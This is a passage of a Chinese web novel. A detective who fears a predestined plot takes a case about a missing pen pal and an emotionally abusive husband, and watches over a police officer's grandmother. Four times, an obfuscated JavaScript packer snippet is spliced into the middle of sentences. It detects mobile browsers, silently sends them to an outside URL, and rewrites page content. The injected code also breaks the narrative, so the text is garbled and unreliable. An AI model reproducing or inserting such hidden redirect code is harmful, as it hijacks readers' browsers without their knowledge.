她从口袋里摸出一个小小的陶瓷风铃来,陶瓷招财猫上写着“福”字,下方系着三个金色小铃铛。 外婆满心欢喜地接过铃铛:“真是谢谢你。小霄有没有说错话什么的?他不太笑,看着严肃了点,不过是个很好的孩子。” 陈定言相当违心地顺着外婆的话说:“没有说错话,他人很好,我知道。” 她不敢在这里久留,和外婆聊了几句,叮嘱了一些“注意安全”的话,顺手悄悄做了自己要做的事之后就告别了。 下楼后,她回头看到外婆还站在门口冲她挥手。 她笑着挥手。 陈定言开车离开了九街。 作为私人侦探,她有很多调查限制,比如她不能在孟行霄家里放摄像头,但她能在公共区域街道上放摄像头。 但为了防止孟行霄搞破坏,她特地做了个小手脚。 她在家附近的地下停车场停好车,火速回家。 “我今天回来得很早。”陈定言推开事务所门。 她的手还按在门把手上,金属把手的冰冷温度传到她的掌心,沿着她的筋脉迅速蔓延,将她的肢体冻成了机器人。 她像定格动画中的积木人一样,一格一格地移动目光看向一楼事务所内的客人。 沙发上坐着孟行霄,他穿着制服,身板挺括精瘦,气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502939|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质便显得格外疏离。 他抬起眼看向她的同时,手撑在沙发上站起身。 好家伙。 她去他家偷家,他倒过来她家蹲守她了。 陈定言往后退了一步,放开门把手。 她撤回了一次进屋。 几乎是应激反应似的,她抬手捂住了自己的嘴,以免自己再次被剧情控制胡说八道。 虽然知道梦里的剧情中根本没有这一幕,但她还是怕了。 裴勉知拿着茶杯从里间走出来,看到连回自己家都退缩的陈定言:“为什么不进来?” 陈定言在外面冷风里吹了几秒,试图让自己冷静下来。 她对自己说:你有点过激了。 她很清楚自己到底在恐惧什么。她讨厌的是被控制的感觉,只要她的大脑无法控制自己的言行,她就像悬崖踩空一样感到不安。 她理了一下思绪,终于放下手,再次进屋,回答裴勉知:“我刚才以为我把东西落在车里了,想回去拿来着。” 孟行霄手里拿着那瓶辣椒酱,朝她走来。 陈定言心里一抖。 可恶,她大概猜到孟行霄为什么会找上门来了。因为孟行霄真的从来没中过奖,他怀疑了!因为这一点,他怀疑有阴谋。 她知道可能会被猜到,但她没想到他会找上门来。 陈定言回顾了一下自己的人设和上次和孟行霄的来往,读取存档点,以免自己前后的言行过于割裂。 孟行霄走到她面前,并没有解释什么,只是简单地道:“还你。” 陈定言冷笑:“我不懂你在说什么,没事就快点走。上次是鸡蛋,这次是辣椒酱,你要做什么?资助我开农场吗?” 孟行霄的视线牢牢地固定在她身上,一言不发地注视着她。 她被盯得心里发毛。 “别在这里跟我眼神拔河了,我没什么可以被你调查的,我每天都在好好遵守职业规范。” 她说话的时候,感觉自己的话在前面飞,魂在后面追。 裴勉知放下茶杯,走到陈定言旁边,看似毫不搭界地道:“语速那么快,小心咬到舌头。” 陈定言很快领会了裴勉知的意思。 他加入战场是为了给她一个台阶下,找个理由离开孟行霄的目光扫射。 她一副“我俩好”的模样把胳膊搭在裴勉知的肩膀上,转过头怼裴勉知:“我的嘴今天是借来的,急着还,语速快一点是正常的。” 借着这个契机,她躲开了孟行霄的目光。 一鼓作气,她从孟行霄身边绕过,自说自话地推着裴勉知向厨房的方向走:“走走走,我饿了。” 两人从他身边走过的时候,孟行霄神色不变地收起那瓶抽奖抽来的辣椒酱。 “既然是我搞错了,那就打扰了。” 5. 第 5 章 孟行霄这个外人离开后,意料之中的,陈定言接受了一次审判。 裴勉知认为是他上次的问询太过仁慈,给她造成了“可以在外面乱惹野男人”的错误印象,所以他加大了审讯力度。 当然他的原话还要再文雅一点:“我认为你最好远离他那种危险人物——到底发生了什么事?” 陈定言早就习惯了这种她闯祸裴勉知审讯的模式,不用怎么严刑拷打就举手投降,老实招来。 她省去了那个荒唐的梦境,从孟行霄的外婆讲起,到那天让她出糗的案子,最后是在超市里抽到了辣椒酱的事。 “辣椒酱那个,单纯是我的恶趣味,光是想象一下这个几乎没有抽到过奖的家伙拿到辣椒酱的表情,我就想笑。” 裴勉知默了默,最后下了判语:“我劝你连想象都不要想象。” 陈定言早就知道裴勉知“加大力度的审讯”会重重举起轻轻放下。 他就这个死样子。 她也算是个老油条了,坚持坦白从宽下次再犯的原则,举起手发誓:“我尽力。” 这天晚上刚好是裴勉知搬进事务所的第一天,两人都有点微妙的兴奋,凑在一起开始讨论另一件事。 陈定言用了一种比较委婉的方式提出:“孟行霄他外婆最近可能有危险,我想帮帮她。” 没想到裴勉知的反应出乎她的意料,他睨了她一眼:“看我干什么?这种事你自己决定。” 她难以置信:“你刚才还说让我远离危险人物的。” 裴勉知扯了扯嘴角:“大事我不会干涉你。你是第一天认识我吗?” 她故意装出吃惊的样子捂住嘴:“抱歉,我才知道。” 裴勉知别过眼神表示没眼看。 总之,两人暂时达成了统一战线,开始讨论怎么妥善处理孟行霄外婆那件事。 陈定言拿出一张纸,边写边给裴勉知解释现在已知的线索。 “杨满君女士,孟行霄的外婆,在4月21日当天在街道上捡到一只小型塑料自封袋,陶女士曾用相似的自封袋来装金项链,因此陶女士认为是杨满君偷了金项链。真相是,杨满君捡到的那只自封袋只是恰好落在附近,而陶女士那只装着金项链的袋子掉落在了排水井内。” “当时我也在场,我发现那只自封袋上有胶痕,还有贴纸掉落后上面的条码留下的黑色墨粉痕迹,根据形状来判断,曾经有什么条形贴纸贴过。除此以外,从这只袋子的材质和封边判断这并不是普通的零售袋。结合陶女士证词中其他线索,我认为这只自封袋并不是陶女士遗落的那只袋子。” “但是杨满君捡到的那只袋子到底是谁的呢?” 陈定言说到这里,用手比划了一下大小:“宽5长7的自封袋,不是普通的零售袋,而是专业用途的材料,上面贴过条形贴纸的,贴纸上很有可能印过条码,你想一下,里面最有可能装过什么?” 裴勉知相当配合她侃侃而谈的老师行径,思考了片刻:“样本,物证,贵重物品之类的。” 她拍了拍桌子,营造悬疑案件的气氛:“对,总之是专业的、比较重要的东西。但你再想想看,在那条卖烧饼炒粉烤肠理发店招牌写错字的老街上,没有任何需要用专业封装袋的行业,怎么会突然出现这种东西?” 裴勉知:“重要会面,专业人士遗落,黑色交易。” 她再次给这个学生五星级嘉奖,竖起拇指:“你很聪明,给你这个。” 裴勉知露出了无奈的表情。 陈定言:“当然,我们也不排除万一有人真的买这种专业袋子装坚果装瓜子装乱七八糟的东西的可能,不过既然是预防,我们就得把最坏的可能性考虑进去。” 陈定言做梦的那天晚上就已经把梦里的剧情全部记下要点,当然没错过孟行霄最后破案找到杀死外婆凶手的那一幕。 她知道凶手是谁,也知道凶手的动机是什么,只是她现在所能做的只有预防。 对裴勉知解释的时候,她也只能模模糊糊地给出一个方向。 针对以上解释,她总结道:“假设杨满君捡到的果然是黑色交易的袋子,很不巧的还去了一趟警察局,那就不妙了。” 要是换了个人指不定会嘲笑她想得太多疑神疑鬼,但裴勉知很清楚她的个性和敏锐度。 裴勉知思忖道:“我们不知道对方什么时候动手,如果只是通过监控观察,费力又低效,或许我可以派个人去附近看着。” 这回,陈定言真情实意地捂住嘴表示震惊:“啊?但你根本不确定事件会不会发生……都是我一个人在这里说而已。万一是我想多了呢?” 裴勉知理所当然地道:“那就让你出钱。” 陈定言想了想还是觉得不妥当,为了这件事专门雇佣一个人也太豪气了:“这样的话我还不如把外婆接过来我这里住。” 裴勉知居然答应了:“随便你。” 陈定言再次震惊:“不是?我说什么你都答应吗?我开玩笑的。” 裴勉知却正色道:“你不觉得直接跟孟行霄说清楚有危险,让他自己处理会更好吗?” 陈定言:“我也是这么想的但是……” 但是她不想和那个人打交道。 实事求是的说,在摄像头/雇佣别人/把外婆接过来/直接跟孟行霄摊牌这些办法中,最后一个显然是最简单最有效最便宜最妥当的。 裴勉知忽然道:“你不喜欢和他打交道的话,我帮你说。” 陈定言愣了一下。 现在的情况已经有点过犹不及了。 她向来行事狂妄随性,现在因为孟行霄搞得束手束脚的干什么?仅仅因为剧情控制就把自己限制在一个更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502940|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小的空间里吗? 反正她都是自大狂了,都被降智了,她做什么事都是合理的。 这样下去不行。 干脆打算摆烂的陈定言火速在心里草拟了下一个对付孟行霄的计划: 1、下次见到孟行霄不躲了,正面刚。 2、行事动机说话逻辑都别管了,她想做啥做啥。 3、涉及案件的时候还是遵守先前的规则,封上嘴巴以免自己被剧情控制,误导案件进程。 4、其余的指导原则:随意! 她一拍桌子,敲定决议:“直接跟孟行霄摊牌吧。” …… 孟行霄回到家。 进门的时候,门侧上方发出了清脆的铃铛撞击声,他视线移动,发现门上挂了一串小小的陶瓷风铃。 他盯着那串风铃,注视了几秒。 “外婆,谁来过了?”他走进屋问,心里却已经有了大致的答案。 外婆笑道:“是前两天我让你送鸡蛋去的那位陈小姐。她说鸡蛋里有一个双黄蛋,很开心就来看看我,还说我有什么事都可以找她。” 孟行霄又问了几句,还是觉得不放心,他在屋子的里里外外都检查了一遍,尤其是那串陶瓷风铃。 不过他检查的结果是一无所获,那个奇怪的侦探并没有在他家放什么坏心眼的东西。 他多少有点愧疚地想可能他确实是冤枉那个侦探了。 外婆对陈定言的称呼已经从“陈小姐”自然而然地变成了“定言”:“她还让我注意安全,让我有事打她电话,定言真是个很热心的姑娘,人又聪明。” 孟行霄没有答话,他沉默着系上围裙准备再炒一个热菜。 外婆坐在桌子边,揉搓着手指,缓解不停串珠子带来的手酸,一面絮絮叨叨地道:“小霄,你有空多和定言来往来往,我瞅着她真的挺好的。” 孟行霄的动作停顿了一下。 他背对着外婆,听到这话的时候皱了皱眉,纠正道:“外婆,她有男朋友了。” 外婆语气变得有点尴尬:“她有男朋友了?” 孟行霄其实并不确定那个叫裴勉知的男人是不是陈定言的男朋友,但他没有解释。 外婆低下头加大力度揉搓着手指上酸疼的地方:“那你看着点,万一她分手了……唉你就当没听见吧,我老糊涂了。” 孟行霄怔了怔,当没听见。 孟行霄没想到的是,第二天早上,他准备出门上班的时候,楼下陈定言正在蹲守他。 陈定言蹲在外置楼梯最下面的台阶边,手里拿着一颗小石头,无所事事地在地面上画圈圈。 她察觉到他出门,立刻站起身来,扔掉石子,双手抱臂一副很拽的模样。 自大狂配角就要有自大狂的样子。 她扬起声调:“跟你说个事。” 6. 第 6 章 陈定言把她向裴勉知提过的推理过程原封不动地给孟行霄解释了一遍,甚至懒得改字词。 只是孟行霄没有裴勉知那么配合,他全程沉默地看着她。 “我的责任尽到了,怎么处理是你的事。” 她自顾自地结束了自己的清晨侦探演讲,然后她就准备走,走之前,她还不忘用鞋子磨掉刚才无聊时在地上用小石头刮出来的涂鸦。 “谢谢你。”孟行霄终于开口了,眼神刻意地遮掩了复杂的情绪。 陈定言没理他,背过手吹着口哨走了。 走过拐角,她悄悄擦了一把额角的冷汗。 孟行霄全程紧紧盯着她,似乎只要她说错半个字他就能抓住她的把柄。用这种方式看别人的天道男主真是一点都不礼貌。 正想着,她的手机震动了一下。 【这是我的号码,有事可以直接打电话。——孟行霄】 陈定言吓了一跳,转过头四处查看,以免有名为孟行霄的幽灵在周围监视她。 平静下来后,她再次看向这条突然发送过来的短信。 孟行霄有她的手机号码很正常,她的手机号码就印在“调查事务所”名片上,而她曾给了外婆一张名片。 虽然很不情愿,她还是老老实实地把号码存下来放在通讯录里。 …… 陈定言走后,孟行霄又折返回屋。 他提议道:“外婆,这几天你脚扭了不方便,我也不在家,要不要去旁边周婆婆家和她一起?” 外婆却露出为难的神色,尴尬地笑:“算了,我在家里不是很好吗?再说我脚已经好多了,喏,早就可以正常走路了。” 孟行霄一时间话被堵住了。 他知道外婆不愿意和其他人来往,一大部分原因是因为他。因为他从小就“霉运强”,连累得外婆也倒霉。 陈定言对他提起“自封袋事件”,听起来虽然荒唐,但他没有怀疑。因为他知道按照他的倒霉运气,这种事是完全有可能发生的。这次外婆被诬陷偷金链、崴到脚、疑似惹上黑色交易,多半又是因为最近他在警局办案的时候透支了幸运。 “杨满君那个小外孙我看是真有点倒霉在身上的”“对对,上次那小子在我旁边待了一会儿害我打麻将每局都输”“唉,可怜是可怜,但这种事……” 稀奇古怪的流言很容易地就在老街的邻居之间传开来。 孟行霄正迟疑着,手机上多了一条短信。 【陈定言】:要我接手这个案件吗?委托合同我已经拟好了,当然会敲你竹杠的。你也可以认为整件事是我弄出来唬你、为了从你身上捞一把。 他的瞳孔因为惊讶而骤然扩张,思绪受到了冲击,连呼吸都滞了一拍。 …… 孟行霄把外婆送到了调查事务所。 外婆一脸懵,不知道发生了什么事非要让她来这里。孟行霄的解释是,陈定言的事务所需要帮忙。对于这个解释,外婆欣然接受。 孟行霄进书房和陈定言秘密签订了委托书。 他放下签字笔:“谢谢你。” 陈定言嗤笑道:“我们接不到活儿的侦探就是这样的,危言耸听、没事找事、然后顺便敲一笔。” 孟行霄那副平静的表情有些松动,唇角微微抬了抬,笑了一下。 陈定言想不通这有什么好笑的。 在剧情中她是专门被降智用来给他提供打脸爽文高光的配角,签订委托书的这五分钟她可是如坐针毡。 她一秒钟也不想和这个天道男主待在一个空间了,但他却一副游刃有余的样子,甚至疑似心情转好,简直是太侮辱人了。 她忍无可忍,打开书房门走出去呼吸新鲜空气了。 …… 委托协议的内容是在孟行霄无法亲自保护当事人的情况下,委托陈定言留意当事人的安全。 陈定言早就想过把外婆带过来,反正裴勉知这个氪金玩家天天舒畅地在家homeoffice,有的是时间精力。 她这个无孔不入的侦探找了个刁钻的角度,她看准了孟行霄没有什么要好的熟人,在适当的时机给了他一个提议,顺利地让他主动把外婆带过来了。 她甚至考虑过孟行霄到底会不会相信她的说辞,但她想到他从小倒霉到大的经历就知道他一定会谨慎行事。 等孟行霄走后,陈定言立刻多云转晴,心情不错地对外婆道:“事务所里缺一个帮手,您就在这工作吧,工资我会付您的。至于什么时候回家,孟行霄下班会来接您的。” 工资当然是从孟行霄付的委托费里拿出一部分来还给外婆。 她敲孟行霄的竹杠敲得有点厉害,良心还是会痛的。 外婆的表情都快开花了,但又有点不安:“这……我能帮上忙吗?” 陈定言:“我跑外面调查的时候,您帮我接待一下过来的客人,泡杯茶,最好是能跟客人寒暄几句,多少给我弄点额外的线索。” 她又给外婆介绍裴勉知:“那个是裴勉知,他忙得很,他要开会要做项目,还要睡懒觉,最重要的是他绝对不肯给我做助手。” 打着哈欠从二楼下来的裴勉知头发凌乱,一副没睡醒的模样,听到陈定言对他的评价,眼神都清澈了一瞬。 他愣了一下,看着事务所客厅里多出来的老妇人,立刻明白了是怎么回事。 他挑了挑眉,脸上的表情看不出是什么情绪,懒洋洋地道:“说的倒都是实话。” 陈定言顺势向外婆控诉道:“都快中午了这个家伙才起床,相比起来,我这个今天早上五点多就起床的年轻人就太勤奋了。” 裴勉知哧的笑道:“五点五十九吧。” 外婆看着两人斗嘴,心里开始思考这个叫裴勉知的年轻人大概就是陈定言的男朋友了。 上午的事务所内平静极了。 陈定言在电脑上玩了一会儿连连看,往后倒在转椅的靠背上,给自己来了个360度旋转眼前冒星星套餐。 外婆闲不下来,手里忙忙碌碌地做着手工艺品,这些不起眼的小装饰品她打算到时候就放在事务所内,放在陈定言的桌上。 裴勉知上楼开了个远程会议。 他下楼的时候,正巧陈定言匆忙从电脑前起身,抓起外套,看样子是要出门。 她看到裴勉知也下来了,便道:“我要出门一趟,有个寻人事件。” “注意安全。”裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502941|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勉知俯身把沙发上的充电宝塞到她的手里。 她接过充电宝:“我说充电宝去哪里了呢,原来是隐身仅你可见了。” 陈定言看向外婆:“外婆,我要出门了,有什么事可以跟裴勉知讲,他面冷心热,也不是那种会对无辜老人发火的屑,您尽管放心大胆地麻烦他。” 外婆被她逗笑了。 裴勉知则无奈地笑着耸了耸肩。 陈定言觉得最近她要发达了,委托一个接着一个,每天都有工作真是好兆头。 自从孟行霄当上警探以后,这个区的犯罪率都得拔高几个点。这样一想的话,对她的职业生涯来说似乎也是好事,虽然有那么一点缺德。 她心情复杂地祈祷世界和平。 陈定言开车前往委托人家里。 委托人是一个名叫尹瑶的女人,她因为车祸下半身瘫痪,只能坐轮椅。 尹瑶是个画师,说话很轻柔,她皱着眉心对陈定言叙述道:“我已经有好几天联系不上我的笔友了,她叫程璐雪。我们通过信件联系,偶尔写电子邮件,但自从她一个月前的那封信里说她要搬家找房子后,就没有下一封信了。” 陈定言拿笔记下来:“最后一封信是一个月前,为什么你说有好几天没联系上她了?” 尹瑶打开手机,翻出社交账号页面拿给陈定言看:“因为她的社交账号还在更新,四天前,她还发了一条心情,我们还私聊了几句。但自从这次聊天后,她就没有再回复我了,以前她都是秒回。” 陈定言记下那个社交账号,正要进一步询问,尹瑶家的门铃响了。 陈定言站起来。 尹瑶推动电动轮椅的摇杆:“我去开门。” 门开了,却是两个警察。 “尹瑶女士?”带头的那个警察问。 尹瑶拘谨地道:“我是。” 陈定言走向门口。 带头的那个名叫郝仁安的警察认出了她:“陈定言?你也在?” “郝警官,该说不说,这几天我们碰面有点频繁了,看来我最近有点倒霉。” 陈定言开着玩笑,目光却越过郝警官看向另一名警察。 孟行霄看了她一眼,移开目光。 陈定言早就做好了准备。 她刚才在听到“笔友”这个元素时就警醒起来了。“笔友小三案”正是剧情中的一个案子。 这意味着她再次被卷进了剧情中,不得不和孟行霄这个天道男主进行交锋。 郝警官见陈定言也在,知道事情没有那么简单,便对尹瑶道:“进屋慢慢说。” 尹瑶的轮椅让开一点路,让两位警察进屋。 郝警官走在前面。 陈定言故意拖拖拉拉的,孟行霄走过的时候,她顺势走在了他旁边。 孟行霄侧过头看她。 她把手放在嘴边做成喇叭的样子:你外婆在我手上。 就在这时,郝警官转头诧异道:“你们俩啥时候这么好啦?” 陈定言立刻平移了两大步,拉开距离。 她睁着眼睛说瞎话,用手比划了一下她和孟行霄之间的距离:“郝警官,你散光有点厉害了,刚才看到的是我的重影吧。” 7. 第 7 章 两位警察坐下来,开始询问尹瑶案情相关的情况。 陈定言很清楚接下来会发生的事。 如果她不做点什么的话,就会变成这样: 【陈定言打断孟行霄的发言:“闭嘴,你什么都不懂。”】 【陈定言冷笑:“我不知道什么时候开始警察也开始胡乱猜测了,没有证据就下结论。”】 【陈定言脸上露出讽刺的笑意:“如果事实像我说的那样呢?”】 …… 什么都别说了。 她想起既定的剧情中她丢人的画面就想一头撞死。 在原剧情中被降智成这样应该是天道对她一生顺风顺水的惩罚了。 郝警官有模有样地从外套内袋里摸出小本子和笔:“尹女士,我们现在有几个问题要向你询问一下。” 本该认真旁听的陈定言举手:“我去一趟洗手间。” 郝警官愣了一下,一副见到鬼的诧异。毕竟在他的印象里,侦探陈定言以前简直是敬业狂魔,就算只剩半条命了也不肯错过一个线索,扒门缝偷听、上房掀瓦这种擦着法律边缘的事她什么没做过? 现在她居然肯放弃询问的黄金时间,主动去厕所荒废人生,真是稀奇。 “我们要开始问话了。”郝警官带着试探地暗示道。 陈定言很确定:“是的,我要去一趟洗手间,肚子痛。” 孟行霄看了一眼陈定言,尤其在她健康得不能再健康的脸色上眼神打了个转,确认她是演都不想演,只想遁走。 郝警官也是对说着“肚子痛”实际上看起来一点事都没有这一点心里存疑,以为是她在打什么谜语人暗号。 见郝警官还在犹疑,孟行霄提醒道:“师兄,她肚子痛。” 陈定言耷拉下眼皮。 她临阵脱逃到底是因为谁啊?要不是因为这小子带来的剧情控制buff实在太强,她至于像逃兵一样丢人地遁走吗? 郝警官反应过来,连连道:“哦哦,那你去吧,等会我把案情告诉你。” 陈定言就差当场给郝警官一记郁闷的眼神飞刀。 剧情她已经知道了。她一点都不好奇。不用那么好心地把她扯进破案过程中。 但是现在说什么郝警官都不会相信她的。 “洗手间的话,就在那里。”尹瑶给她指了个方向。 陈定言脚底打滑地往洗手间的方向走去,进去后立刻关上门,“咔哒”一声锁上。 客厅,郝警官还在给新人警察孟行霄解释:“她在破案上帮过我们不少忙,而且陈定言这个人吧,好奇心可重,不跟她说的话,她半夜变成鬼都会来找你问。” 孟行霄愣了一下,接收了郝警官传递给他的洗脑包,眼尾微微扬起:“明白。” 郝警官口中“变成鬼都会来问”的陈定言正在洗手间内无聊望天。 外面到底在讲什么? 虽然她在那个短暂又漫长的剧情梦中得知了案件的大概走向,但具体的线索、证据她没有梦得那么仔细。 可恶,抓心挠肺的。 …… 客厅内。 两个警察照例询问着尹瑶。 “我们接到报案,你的丈夫吕泰平已经有三天没有去上班了,也没有联系父母,他这三天回家吗?” 尹瑶语气平淡:“没有。” “为什么?为什么你不报警呢?这种情况下找侦探没用啊。” 尹瑶知道警察误认为她请侦探来家里是为了寻找丈夫的下落,她澄清道:“我找侦探不是为了找吕泰平,而是为了找我朋友。” 郝警官被突然的意料之外惊了一下:“啊?你朋友也失踪了?” 尹瑶看了一眼洗手间的方向:“陈小姐也在的话就更好了,我已经把整件事对她说过了,你们等会也可以问她。我有一个笔友。” 由于陈定言不在场,尹瑶只能把刚才对陈定言说过的事再次复述一遍。 郝警官一边点头一边记下来。 孟行霄则注意着尹瑶的表情,她复述的时候似乎有些不耐烦。 郝警官总结道:“这么说来,你的笔友程璐雪如果失踪的话,是四天前失踪的对吗?” 尹瑶摇了摇头:“我不知道,陈小姐也说过,现在这个情况还不能判定她已经失踪了,因为只是我单方面联系不上她了。” 郝警官转头问孟行霄:“你觉得呢?” 孟行霄思考道:“按照程序来说,程璐雪的失联还算不上失踪,也没有明确她和另一个失踪案的关联,这个调查应该首先让陈定言做。” 说到陈定言,郝警官再次望穿秋水地看向洗手间:“也真是的,那家伙为什么还没出来?要是她在场的话,现在就能查到程璐雪到底是不是也失踪了,接下来我们的案件调查方向也能明确一点了。” 郝警官对侦探陈定言的一些谜之迷信行为当然只是询问过程中的一些小插曲。 询问回归正轨。 “尹女士,刚才我们说到了你丈夫吕泰平已经三天没有上班了吧?为什么你不报警呢?” 尹瑶的情绪一下子低落下去,从刚才开始便温和的语调也随之冷了起来。 她的手攥紧了轮椅的扶手:“他?最好他一辈子别回来。” 郝警官像是找到了大线索,身体往前凑了凑,睁大眼睛:“怎么说?” 尹瑶向警察说明了她和丈夫之间的关系。 尹瑶以前是小有名气的漫画师,而她的丈夫吕泰平则是编辑,两人在工作中认识,吕泰平单方面追求尹瑶,尹瑶并没有答应他的追求。 两年前,尹瑶出车祸下半身瘫痪,事业也陷入绝境,但吕泰平依然一如既往地追求她、鼓励她、看望她。 【那时我万念俱灰,这种情况下遇到这种人,便很容易地跳进了陷阱。他说我的漫画打动了他,就像灵魂发生了共振一样,他不可能任由我独自在黑暗中。我以为真的存在那种乌托邦式的爱情,头脑一热地戴上了戒指。】 尹瑶答应了吕泰平的求婚,两人结婚后,有一个月的蜜月期。但此后就开始了漫长的地狱。 吕泰平对她进行精神控制,贬低她的价值,并用之前自己所付出的道德绑架她。 【作为女人,作为妻子,作为女儿,你什么价值都没有了。你一辈子都无法报答我对你的恩情,你甚至不能让我爽。】 【你觉得自杀能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502942|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解决问题吗?你想想你的父母,他们放心地把你交给我,这么大把年纪了还天天出去努力工作,为的是谁你自己不清楚吗?】 吕泰平没有动用暴力,又不愿意离婚,这让离婚的事宜更加困难。 另一方面,尹瑶的父母始终对吕泰平感恩戴德,认为“这样的好男人你都要离开,你真是有点不知好歹了”。 【我实在受不了了,我真的很希望那个人渣能别再理我,就算让我一个人待在地下室都行,我甚至希望他出轨,爱上别人,只是不要再来纠缠我了。】 尹瑶的愿望在一年前似乎终于实现了。 吕泰平有了新的猎物,他出轨了。 他开始和一个年轻的女漫画家走得很近,精力也放在了那个漫画家身上。 就像对待从前的尹瑶一样,吕泰平开始用同样的手段追求那个漫画家,而尹瑶在家里就像空气一样,被吕泰平无视。 “这就是我不报警的原因。”尹瑶面色平静地阐述道。 两个警察都被震惊得陷入长久的沉默,也不知道该怎么安慰这个女人。 就在这时,理应在洗手间发呆的侦探陈定言像竹笋一样不知道从哪里冒了出来。 陈定言盯着尹瑶:“所以,吕泰平出轨对象,那个新的女漫画家,就是你的笔友程璐雪吗?” 尹瑶怔了怔,点头:“是的。” 【或许听起来很荒唐,但我确实和程璐雪成为了朋友。可能是因为我对这个莫名“拯救”了我的女人心怀感激,可能是因为对她即将到来的厄运心怀愧疚,又可能单纯是欣赏她的漫画,我真心地对她抱着一种复杂的情感。】 【但是程璐雪不知道。她不知道我就是吕泰平的妻子。】 郝警官脑袋中思想的火花连在一起:“会不会,会不会是程璐雪知道你是吕泰平他老婆了,所以……?” 陈定言听到郝警官的发言,意识到自己又开始管不住她想要插一嘴的冲动了,转头就跑:“等等,我再去一趟洗手间。” 她实在好奇,偷偷跑出来了,但她现在发觉自己控制不住自己要发言了,她必须再跑回去,免得又被剧情控制。 在场的其他三人:“……” …… 对尹瑶的问询结束后,陈定言神清气爽地从洗手间出来了。 她对尹瑶道:“程璐雪我也会帮你找的,其余的事,既然警方介入了,一定会水落石出的。” 尹瑶点了点头:“谢谢。” 陈定言看着她,欲言又止,最后只是道:“对了,有什么需要帮忙的可以告诉我,我什么委托都接的。” 离开委托人的家后,陈定言开车回家。 傍晚时分,孟行霄来调查事务所接外婆。 陈定言脸上盖着漫画,在转椅上休息,见孟行霄按了门铃,便起身给他开门。 “外婆在洗手间,你等等吧。”她说着,重新坐回转椅上,用漫画书盖住脸。 孟行霄在旁边的沙发上坐下:“下午你有什么没听到的细节,可以问我。” 陈定言掀起漫画书的一角,从缝隙里睨了他一眼:“喂,不要听关于我的洗脑包,我还不至于晚上变成好奇鬼问案情。” 8. 第 8 章 孟行霄把外婆从调查事务所里接走了。 陈定言发现了桌子上多出来的那只用水晶珠串成的小狗,她满脸稀奇地拿起来放在灯光下看:“这是外婆做的串珠小狗?太强了。” 黑色的珠子做成眼睛,黄白相间的毛色,脖子上还有一圈蓝色的项圈,体型不大,放在手心里小小的一只。 裴勉知微微扬了扬下巴:“外婆非要打扫,我说没必要,打扫是留给你每周的锻炼任务,不能跟你抢活干,所以她就开始做这个。” 陈定言被这个新鲜理由逗笑了:“每周留给我的锻炼任务?我看起来就那么不爱锻炼吗?” 裴勉知顺水推舟地打开手机:“那我下单健身器材了,另外锻炼计划已经做好了。” 陈定言算是见识到了裴勉知的险恶,他话里话外绕来绕去就是为了让她锻炼。 她掀起衣服下摆,看了一下:“别小看我了,我也有马甲线的。” “把衣服放下。”裴勉知面无表情地道。 她别了他一眼,再次拿起那只串珠小狗:“还是外婆做的串珠小狗好,有些人险恶得太可怕了。” 吃过晚饭,陈定言继续看那本漫画。 这是她从尹瑶家离开后,特地去图书馆借的尹瑶以前出版的漫画书,然后她特地路过了一家书店,买了程璐雪最近几个月才出的新漫画。 裴勉知走过她身边的时候微微俯下身瞥了一眼漫画内容:“怎么开始看漫画了?和案件有关?” 陈定言合上漫画,不给他看漫画上男女主亲吻的分镜:“你怎么什么都要管一下?我锻不锻炼也要管,看漫画也要管。好吧,是和案件有关的。” 他直起身子,面无表情地道:“既然你认为我管得太多,我不管你了。” 她抓住他的袖子,笑着道:“喂喂,我开玩笑的,别让我饿死啊。” 陈定言在看尹瑶以前的漫画,虽然不知道对破案有没有帮助,但多了解一点自己的委托人还是有好处的。 她发现尹瑶喜欢画全黑的分镜,有时候甚至是一整面的黑页,用来表示人物内心情绪的动荡。 此外,她正在看的这一本尹瑶的作品虽然是普通的恋爱奇幻冒险漫画,但从故事叙述能力和感染力上来说,也是天赋相当出众的作品。 “可惜了,她现在不画整本漫画了,在网上接零碎的插画单子。” 陈定言看完漫画后把书放在一边。 